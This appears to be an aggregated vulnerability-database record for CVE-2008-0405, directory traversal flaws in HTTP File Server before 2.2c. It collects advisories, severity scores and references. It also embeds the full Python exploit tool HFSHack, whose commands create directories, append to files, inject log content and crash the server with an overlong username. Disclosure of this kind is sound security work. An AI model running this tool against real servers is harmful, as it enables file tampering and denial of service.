ID

VAR-200801-0091


CVE

CVE-2008-0405


TITLE

HFS Vulnerable to directory traversal

Trust: 0.8

sources: JVNDB: JVNDB-2008-003980

DESCRIPTION

Multiple directory traversal vulnerabilities in HTTP File Server (HFS) before 2.2c, when account names are used as log filenames, allow remote attackers to create arbitrary (1) files and (2) directories via a .. (dot dot) in an account name, when requesting the / URI; and (3) append arbitrary data to a file via a .. (dot dot) in an account name, when requesting a URI composed of a "/?%0a" sequence followed by the data. A successful exploit could allow an attacker to deny service to legitimate users, create and execute arbitrary files in the context of the webserver process, falsify log information, or execute arbitrary script code in the browser of an unsuspecting user. Other attacks are also possible. ---------------------------------------------------------------------- A new version (0.9.0.0 - Release Candidate 1) of the free Secunia PSI has been released. The new version includes many new and advanced features, which makes it even easier to stay patched. Download and test it today: https://psi.secunia.com/ Read more about this new version: https://psi.secunia.com/?page=changelog ---------------------------------------------------------------------- TITLE: HTTP File Server Multiple Vulnerabilities SECUNIA ADVISORY ID: SA28631 VERIFY ADVISORY: http://secunia.com/advisories/28631/ CRITICAL: Moderately critical IMPACT: Cross Site Scripting, Spoofing, Manipulation of data, Exposure of system information, DoS, System access WHERE: >From remote SOFTWARE: HTTP File Server 2.x http://secunia.com/product/16793/ DESCRIPTION: Felipe Aragon and Alec Storm have reported some vulnerabilities and security issues in HTTP File Server, which can be exploited by malicious people to disclose system information, conduct spoofing and cross-site scripting attacks, bypass certain security restrictions, manipulate data, and potentially compromise a vulnerable system. 1) The application does not correctly log certain input. This can be exploited to e.g. spoof the username or inject arbitrary content into the logfile when logging in. 2) Certain input is not properly sanitised before being returned to a user. 3) It is possible to disclose certain information (e.g. number of connections, transfer speed, traffic statistics, or uptime) by sending specially crafted request containing template symbols. 4) The application does not correctly handle the username before using it to create the file name of the logfile. This can be exploited to create directories, append data to files, or to cause a buffer overflow by sending specially crafted requests to a vulnerable server. Successful exploitation allows the execution of arbitrary code, but requires that the "%user%" template symbol is used to define the name of the logfile. SOLUTION: Some of the vulnerabilities are fixed in version 2.2c. http://www.rejetto.com/hfs/?f=dl PROVIDED AND/OR DISCOVERED BY: Felipe Aragon and Alec Storm, Syhunt Security Research Team ORIGINAL ADVISORY: http://archives.neohapsis.com/archives/vulnwatch/2008-q1/0008.html http://archives.neohapsis.com/archives/vulnwatch/2008-q1/0009.html http://archives.neohapsis.com/archives/vulnwatch/2008-q1/0010.html ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ---------------------------------------------------------------------- . #!/usr/bin/python """ ---------------------------------------------------------------- HFSHack 1.0b (By Felipe M. Examples:\n' ' manipf inject.html index.html or ..\\..\index.html\n' ' Note: If the file does not exists, it will be created.\n\n' 'maniplog [localfilename]\n' ' Injects content of a local file to the HFS log panel and file\n\n' 'mkd [dirname]\n' ' Creates directories. Examples:\n' ' mkd Test or ..\\..\\Windows\\Test\n\n' 'symbols\n' ' Forces HFS to reveal details about the server\n\n' 'ver\n' ' Forces HFS to show its version and build, and displays which\n\n' ' HFSHack commands are available for it\n' 'quit\n' ' Exits this application' '\r\n') readme = ( '(c) 2008 Syhunt Security. All rights reserved.\n\n' 'This tool is provided ''as-is'', without any expressed or implied\n' 'warranty. In no event will the author be held liable for any\n' 'damages arising from the use of this tool.\n\n' 'Permission is granted to anyone to use this tool, and to alter\n' 'it and redistribute it freely, subject to the following\n' 'restrictions:\n\n' '1. The origin of this tool must not be misrepresented, you must\n' ' not claim that you wrote the original tool.\n\n' '2. Altered source versions must be plainly marked as such, and\n' ' must not be misrepresented as being the original plugin.\n\n' '3. This notice may not be removed or altered from any source\n' ' distribution.\n\n' 'If you have any questions concerning this license, please email\n' 'contact _at_ syhunt _dot_ com\n' ) about = ( '----------------------------------------------------------------\n' ' Syhunt HFSHack 1.0b\n' '----------------------------------------------------------------\n\n' 'This exploit tool should be used only by system administrators\n' '(or other people in charge).\n\n' 'Type "readme" and read the text before continuing\n\n' 'If you have already read it, type "help" to view a list of\n' 'commands.' ) # Extra Details to Obtain symbol_list = ( 'connections;Current number of connections to HFS', 'timestamp;Date and time of the server', 'uptime;Uptime', 'speed-out;Current outbound speed', 'speed-in;Current inbound speed', 'total-out;Total amount of bytes sent', 'total-downloads;Total amount of bytes sent', 'total-hits;Total Hits', 'total-uploads;Total Uploads', 'number-addresses;Current number of connected clients (IPs)', 'number-addresses-ever;Number of unique IPs ever connected', 'number-addresses-downloading;Current number of downloading clients (IPs)', ) # Affected Versions re_200801161 = '^HFS(.*?)(2.[0-1]|2.2$|2.2[a-b]|2.3 beta)' re_200801162 = '^HFS(.*?)(2.2$|2.2[a-b]|2.3 beta)' re_200801163 = '^HFS(.*?)(1.5[f-g]|1.6|2.[0-1]|2.2$|2.2[a-b]|2.3 beta)' re_cangetver = '^HFS(.*?)(2.[0-1]|2.2$|2.2[a-b])' # Common Messages msg_par_mis = 'Parameter(s) missing.' msg_done = 'Done.\n' msg_acc_file = 'Error reading local file (file not found):' msg_help = 'Type "help" to view a list of commands.' msg_err_con = 'Error Connecting:' msg_fail = 'Failed.' msg_req_ok = 'Request accepted.' uagent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; Syhunt HFSHack)'; path = '/' # Default Path def dorequest(hpath,auth_data,s_msg,f_msg): globals()["rcvd"] = '' globals()["banner"] = '' url = 'http://'+host+hpath try: opener = urllib2.build_opener(url) opener.addheaders = [('User-agent', uagent)] if auth_data != '': opener.addheaders = [('Authorization', 'Basic '+auth_data)] globals()["rcvd"] = opener.open(url).readlines() if 'server' in opener.open(url).headers: globals()["banner"] = opener.open(url).headers['server'] except Exception, msg: if f_msg != '': print f_msg,msg return False else: if s_msg != '': print s_msg return True def genbase64str(string): base64str = base64.encodestring(string); base64str = base64str.replace("\n","") return base64str def readlocalfile(filename): file = open(filename, "r") text = file.readlines() file.close() print text filecontentstr = '' for l in text: filecontentstr = filecontentstr+l return filecontentstr def ishostavailable(): return dorequest(path,'','',msg_err_con) def getservinfo(symbol,desc): base64str = base64.encodestring('<id>%'+symbol+'%</id>'); if dorequest(path,base64str,'',msg_err_con): for l in rcvd: hfsver = re.findall('<id>(.*?)</id>', l) for r in hfsver: if r != []: hfsverdec = urllib2.unquote(hfsver[0]) if desc != '': print desc+': '+hfsverdec return hfsverdec else: return '' def getallservinf(): for l in symbol_list: curl = l.split(';') getservinfo(curl[0],curl[1]) def hfsmkdir(dirname): base64str = genbase64str('\\..\\'+dirname+'\\')+'AA'; dorequest(path,base64str,msg_req_ok,msg_fail) def shutdownhfs(): dosstr = genbase64str('a' * 270 + ':') if dorequest(path,dosstr,msg_fail,'DoS executed.'): dorequest(path,'','Host is still up.','Host is now down.') def hfsappendtofile(filename,string): base64str = genbase64str('\\..\\'+filename)+'AA'; dorequest('/?%0a'+string,base64str,msg_req_ok,msg_fail) def hfsinjecttolog(string): base64str = genbase64str(string); dorequest('/',base64str,msg_req_ok,msg_fail) def procparams(cmd): try: if len(cmd) > 0: if cmd[1] != []: globals()["host"] = cmd[1] except: print "No target info provided. Using localhost" def checkxss(): if ishostavailable(): curver = getservinfo('version','') if curver != '': return 'XSS Found' else: return 'Not Vulnerable' else: return msg_fail def isbanner(regex): p = re.compile(regex) m = p.match(banner) return m def showacceptedcmds(): cmds = 'None (This server is not vulnerable)'; if isbanner(re_200801161): cmds = 'checkxss symbols ver' if isbanner(re_200801162): cmds = cmds+' manipf mkd checkdos' if isbanner(re_200801163): cmds = cmds+' maniplog' print '\nAvailable commands for this server:' print ' '+cmds+'\n' def showver(): cangetver = True if banner != '': server_name = banner.split() print banner if server_name[0] != 'HFS': print 'Not running HFS!' cangetver = False else: if isbanner(re_cangetver): print 'Confirming version...' else: cangetver = False else: print 'No version information found.' print 'The "Send HFS identifier" option is probably disabled.' print 'Trying to force HFS to display its version...' if cangetver == True: idver = getservinfo('version','HFS version number') idbuild = getservinfo('build','HFS build number') globals()["banner"] = 'HFS '+idver+' '+idbuild showacceptedcmds() def result(s): cmd = s.split() if len(cmd) > 0: curcmd = cmd[0] result = 'Invalid command. Type "help" for list of commands.' if curcmd == 'open': procparams(cmd) if ishostavailable(): showver() result = 'Connected.\n' else: result = msg_fail elif curcmd == 'symbols': if ishostavailable(): showver() print 'Forcing HFS to reveal more details...' getallservinf() result = msg_done elif curcmd == 'ver': if ishostavailable(): showver() result = msg_done elif curcmd == 'mkd': if len(cmd) > 1: if cmd[1] != []: hfsmkdir(cmd[1]) result = msg_done else: result = msg_par_mis elif curcmd == 'manipf': if len(cmd) > 2: try: localfilecontent = readlocalfile(cmd[1]) except Exception, msg: result = msg_acc_file,msg else: localfilecontent = localfilecontent.replace("\n","%0a") hfsappendtofile(cmd[2],localfilecontent) result = msg_done else: result = msg_par_mis elif curcmd == 'maniplog': if len(cmd) > 1: try: localfilecontent = readlocalfile(cmd[1]) except Exception, msg: result = msg_acc_file,msg else: hfsinjecttolog(localfilecontent) result = msg_done else: result = msg_par_mis elif curcmd == 'checkdos': shutdownhfs() result = msg_done elif curcmd == 'checkxss': result = checkxss() elif curcmd == 'help': result = help elif curcmd == 'readme': result = readme elif curcmd == 'quit': result = 'Bye!' return result else: return msg_help print about s = "" while s != "quit": try: s = raw_input(">") except EOFError: s = "quit" print s print result(s). Syhunt: HFS (HTTP File Server) Log Arbitrary File/Directory Manipulation and Denial-of-Service Vulnerabilities Advisory-ID: 200801162 Discovery Date: 1.16.2008 Release Date: 1.23.2008 Affected Applications: HFS 2.2 to and including 2.3(Beta Build #174) Non-Affected Applications: HFS 2.1d and earlier versions Class: Arbitrary File/Directory Manipulation, Denial of Service Status: Patch available/Vendor informed Vendor: Massimo Melina Vendor URL: http://www.rejetto.com/hfs -or- hfs.sourceforge.net The Common Vulnerabilities and Exposures (CVE) project has assigned the following CVEs to these vulnerabilities: * CVE-2008-0405 - Arbitrary File/Folder Creation Vulnerability * CVE-2008-0406 - Denial of Service (DoS) Vulnerability ---------------------------------------------------------------- Overview: HFS is a very popular open source HTTP server designed for easily sharing files. According to information on the official website, the HTTP File Server software has been downloaded about 2 million times. Description: HFS (versions 2.2 to 2.3 beta) will not check if an account name provided during navigation exists or contains any invalid chars before logging information about a request. This is specially dangerous if the server has been configured to use account names as log filenames. Technical details are included below. 2) Denial of Service (DoS) Vulnerability http://www.syhunt.com/advisories/hfshack.txt "checkdos" command * HFS will close immediately after receiving the DoS request * This issue is related to Windows limitations with long filenames. XP has a limit of 255 characters; Windows Vista a 260 chars limit. ---------------------------------------------------------------- Vulnerability Status: The vendor was contacted and has immediately released HFS 2.2c which fixes these problems. The new version can be downloaded at www.rejetto.com/hfs/download or via the "Check for news/updates" option in the HFS menu. As a workaround for the affected releases, users can temporarily disable the logging feature or remove the %user% symbol from the log filename. Testers of HFS 2.3 Beta should upgrade to the latest 2.3 beta build. HFS 2.3 Beta specifically is only affected if the option "Accept any login for unprotected resources" is enabled. This option, introduced in this version, is disabled by default. Details provided are strictly for educational and defensive purposes. Syhunt is not liable for any damages caused by direct or indirect use of the information provided by this advisory

Trust: 2.25

sources: NVD: CVE-2008-0405 // JVNDB: JVNDB-2008-003980 // BID: 27423 // VULMON: CVE-2008-0405 // PACKETSTORM: 62961 // PACKETSTORM: 62932 // PACKETSTORM: 62931

AFFECTED PRODUCTS

vendor:hfsmodel:http file serverscope:lteversion:2.2b

Trust: 1.0

vendor:rejettomodel:http file serverscope:ltversion:2.2c

Trust: 0.8

vendor:hfsmodel:http file serverscope:eqversion:2.2b

Trust: 0.6

vendor:httpmodel:file server http file server 2.3scope: - version: -

Trust: 0.3

vendor:httpmodel:file server http file server betascope:eqversion:2.3

Trust: 0.3

vendor:httpmodel:file server http file server 2.2bscope: - version: -

Trust: 0.3

vendor:httpmodel:file server http file server 2.2ascope: - version: -

Trust: 0.3

vendor:httpmodel:file server http file serverscope:eqversion:2.2

Trust: 0.3

vendor:httpmodel:file server http file server 1.5gscope: - version: -

Trust: 0.3

vendor:httpmodel:file server http file server 2.2cscope:neversion: -

Trust: 0.3

sources: BID: 27423 // JVNDB: JVNDB-2008-003980 // CNNVD: CNNVD-200801-412 // NVD: CVE-2008-0405

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2008-0405
value: HIGH

Trust: 1.0

NVD: CVE-2008-0405
value: HIGH

Trust: 0.8

CNNVD: CNNVD-200801-412
value: CRITICAL

Trust: 0.6

VULMON: CVE-2008-0405
value: HIGH

Trust: 0.1

nvd@nist.gov: CVE-2008-0405
severity: HIGH
baseScore: 10.0
vectorString: AV:N/AC:L/AU:N/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 10.0
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.9

sources: VULMON: CVE-2008-0405 // JVNDB: JVNDB-2008-003980 // CNNVD: CNNVD-200801-412 // NVD: CVE-2008-0405

PROBLEMTYPE DATA

problemtype:CWE-22

Trust: 1.8

sources: JVNDB: JVNDB-2008-003980 // NVD: CVE-2008-0405

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-200801-412

TYPE

path traversal

Trust: 0.6

sources: CNNVD: CNNVD-200801-412

CONFIGURATIONS

sources: JVNDB: JVNDB-2008-003980

PATCH

title:HTTP File Serverurl:http://www.rejetto.com/hfs/

Trust: 0.8

sources: JVNDB: JVNDB-2008-003980

EXTERNAL IDS

db:NVDid:CVE-2008-0405

Trust: 2.7

db:BIDid:27423

Trust: 2.0

db:SECUNIAid:28631

Trust: 1.8

db:SREASONid:3581

Trust: 1.7

db:JVNDBid:JVNDB-2008-003980

Trust: 0.8

db:XFid:39873

Trust: 0.6

db:BUGTRAQid:20080123 SYHUNT: HFS (HTTP FILE SERVER) LOG ARBITRARY FILE/DIRECTORY MANIPULATION AND DENIAL-OF-SERVICE VULNERABILITIES

Trust: 0.6

db:CNNVDid:CNNVD-200801-412

Trust: 0.6

db:PACKETSTORMid:62932

Trust: 0.2

db:VULMONid:CVE-2008-0405

Trust: 0.1

db:PACKETSTORMid:62961

Trust: 0.1

db:PACKETSTORMid:62931

Trust: 0.1

sources: VULMON: CVE-2008-0405 // BID: 27423 // JVNDB: JVNDB-2008-003980 // PACKETSTORM: 62961 // PACKETSTORM: 62932 // PACKETSTORM: 62931 // CNNVD: CNNVD-200801-412 // NVD: CVE-2008-0405

REFERENCES

url:http://www.syhunt.com/advisories/hfshack.txt

Trust: 2.1

url:http://www.rejetto.com/hfs/?f=wn

Trust: 1.7

url:http://secunia.com/advisories/28631

Trust: 1.7

url:http://securityreason.com/securityalert/3581

Trust: 1.7

url:http://www.securityfocus.com/bid/27423

Trust: 1.7

url:http://www.syhunt.com/advisories/hfs-1-log.txt

Trust: 1.2

url:https://exchange.xforce.ibmcloud.com/vulnerabilities/39873

Trust: 1.1

url:http://www.securityfocus.com/archive/1/486873/100/0/threaded

Trust: 1.1

url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2008-0405

Trust: 0.8

url:http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2008-0405

Trust: 0.8

url:http://xforce.iss.net/xforce/xfdb/39873

Trust: 0.6

url:http://www.securityfocus.com/archive/1/archive/1/486873/100/0/threaded

Trust: 0.6

url:http://www.rejetto.com/hfs/

Trust: 0.3

url:/archive/1/486873

Trust: 0.3

url:/archive/1/486872

Trust: 0.3

url:/archive/1/486874

Trust: 0.3

url:https://nvd.nist.gov/vuln/detail/cve-2008-0406

Trust: 0.2

url:https://nvd.nist.gov/vuln/detail/cve-2008-0405

Trust: 0.2

url:https://cwe.mitre.org/data/definitions/22.html

Trust: 0.1

url:https://nvd.nist.gov

Trust: 0.1

url:https://packetstormsecurity.com/files/62932/hfshack.txt.html

Trust: 0.1

url:http://secunia.com/advisories/28631/

Trust: 0.1

url:http://archives.neohapsis.com/archives/vulnwatch/2008-q1/0009.html

Trust: 0.1

url:http://secunia.com/secunia_security_advisories/

Trust: 0.1

url:http://archives.neohapsis.com/archives/vulnwatch/2008-q1/0010.html

Trust: 0.1

url:https://psi.secunia.com/?page=changelog

Trust: 0.1

url:https://psi.secunia.com/

Trust: 0.1

url:http://secunia.com/product/16793/

Trust: 0.1

url:http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org

Trust: 0.1

url:http://archives.neohapsis.com/archives/vulnwatch/2008-q1/0008.html

Trust: 0.1

url:http://secunia.com/about_secunia_advisories/

Trust: 0.1

url:http://www.rejetto.com/hfs/?f=dl

Trust: 0.1

url:http://www.syhunt.com/advisories/hfs-1-template.txt

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2008-0407

Trust: 0.1

url:http://'+host+hpath

Trust: 0.1

url:http://www.syhunt.com)

Trust: 0.1

url:http://www.syhunt.com/sandcat

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2008-0408

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2008-0410

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2008-0409

Trust: 0.1

url:http://www.syhunt.com/advisories/hfs-1-username.txt

Trust: 0.1

url:https://www.rejetto.com/hfs/download

Trust: 0.1

url:http://www.rejetto.com/hfs

Trust: 0.1

sources: VULMON: CVE-2008-0405 // BID: 27423 // JVNDB: JVNDB-2008-003980 // PACKETSTORM: 62961 // PACKETSTORM: 62932 // PACKETSTORM: 62931 // CNNVD: CNNVD-200801-412 // NVD: CVE-2008-0405

CREDITS

Felipe Aragon felipe@syhunt.com

Trust: 0.6

sources: CNNVD: CNNVD-200801-412

SOURCES

db:VULMONid:CVE-2008-0405
db:BIDid:27423
db:JVNDBid:JVNDB-2008-003980
db:PACKETSTORMid:62961
db:PACKETSTORMid:62932
db:PACKETSTORMid:62931
db:CNNVDid:CNNVD-200801-412
db:NVDid:CVE-2008-0405

LAST UPDATE DATE

2024-11-23T21:48:44.932000+00:00


SOURCES UPDATE DATE

db:VULMONid:CVE-2008-0405date:2018-10-15T00:00:00
db:BIDid:27423date:2016-07-05T22:00:00
db:JVNDBid:JVNDB-2008-003980date:2012-09-25T00:00:00
db:CNNVDid:CNNVD-200801-412date:2008-09-05T00:00:00
db:NVDid:CVE-2008-0405date:2024-11-21T00:42:00.910

SOURCES RELEASE DATE

db:VULMONid:CVE-2008-0405date:2008-01-29T00:00:00
db:BIDid:27423date:2008-01-23T00:00:00
db:JVNDBid:JVNDB-2008-003980date:2012-09-25T00:00:00
db:PACKETSTORMid:62961date:2008-01-25T07:43:48
db:PACKETSTORMid:62932date:2008-01-24T04:58:06
db:PACKETSTORMid:62931date:2008-01-24T04:53:54
db:CNNVDid:CNNVD-200801-412date:2008-01-28T00:00:00
db:NVDid:CVE-2008-0405date:2008-01-29T00:00:00